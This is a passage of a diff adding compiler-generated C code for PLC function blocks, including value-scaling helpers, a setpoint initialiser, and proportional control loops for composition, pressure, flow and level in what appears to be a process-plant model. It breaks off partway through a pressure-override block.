__SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,30801,retain) + __INIT_VAR(data__->PRESS_SP_C,55295,retain) + __INIT_VAR(data__->OVER_SP_C,31675,retain) + __INIT_VAR(data__->LEVEL_SP_C,28835,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + 